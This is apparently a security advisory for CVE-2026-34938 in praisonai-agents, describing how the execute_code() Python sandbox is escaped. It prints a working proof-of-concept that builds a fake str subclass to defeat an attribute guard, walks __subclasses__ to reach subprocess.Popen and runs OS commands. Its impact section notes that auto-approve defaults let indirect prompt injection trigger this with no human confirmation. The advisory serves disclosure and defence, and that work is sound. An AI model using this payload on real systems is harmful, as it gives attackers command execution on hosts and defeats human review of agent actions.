CVE-2026-34938

Summary

execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the safegetattr wrapper, achieving arbitrary OS command execution on the host.

Details

python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)

## source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses
        raise AttributeError(...)
## hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})
## sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)

PoC

from praisonaiagents.tools.python_tools import execute_code
payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})
mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1
obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr, '')
        n = getattr(cls, name_attr, '')
        if m == 'subprocess' and n == 'Popen':
            r = cls(['id'], stdout=PIPE, stderr=PIPE)
            out, err = r.communicate()
            print('RCE:', out.decode())
            break
    except Exception as e:
        print('ERR:', e)
"""
result = execute_code(code=payload)
print(result)
## expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAIAUTOAPPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.